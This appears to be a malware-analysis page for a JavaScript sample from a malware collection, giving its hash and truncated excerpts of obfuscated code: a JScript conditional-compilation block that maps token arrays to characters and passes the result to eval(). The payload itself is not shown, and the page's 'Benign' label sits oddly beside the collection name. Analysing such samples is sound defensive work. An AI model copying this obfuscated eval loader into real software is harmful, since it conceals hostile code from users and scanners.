Benign javascript-malware-collection Download

20160921_21f60aa0eac9b2e1c271920e1ba030bb.js

Token-array remap reconstructionRepeated anonymous return token stubs

SHA-256d62e554404acfef03995a5bdd7d29935f7247fd9707d5ea364fac80fddc940f7

Evidence

Repeated anonymous return token stubs lines 1–5

1
2/*@cc_on
3
4var PAa = "";
5var OOn = [(function f000(){return "Sq";})(),(function f000(){return "SGs";})(),(function f000(){return "TKp";})(),(function f000(){return "Rh";})(),(function f000(){return "Wy";})(),(function f000(){return "Iq";})(),(function f000(){return "DYx";})(),(function f000(){return "TKp";})(),(function f000(){return "GGn";})(),(function f000(){return "Oe";})(),(function f000(){return "QDg";})(),(function f000(){return "DIa";})(),(function f000(){return "BIj";})(),(function f000(){return "MKa";})(),(function f000(){return "GGn";})(),(function f000(){return "GGn";})(),(function f000(){return "GGn";})(),(functi …

Short-token to hex-char map lines 5–9

5:595228… )(),(function f000(){return "MKa";})()];
6var Ww;
7for (Ww = 0; Ww < OOn.length; Ww++)
8{
9var VVm = {'Mt': '\x79', 'NBs': '\x78', 'SGs': '\x75', 'Wy': '\x74', 'EZu': '\x77', 'Nx': '\x71', 'Mc': '\x70', 'UEg': '\x73', 'Tn': '\x72', 'MKa': '\x0a', 'MMz': '\x0d', 'Ot': '\x09', 'KZr': '\x7d', 'Wb': '\x7a', ' …

Token remap loop into eval buffer lines 9–15

9:1280… d', 'KIc': '\x5c', 'OUx': '\x5b', 'IAa': '\x5a'};
10    MJj = OOn[Ww];
11    var Ax = VVm[MJj];
12    PAa = PAa + Ax;
13}
14eval(PAa);
15@*/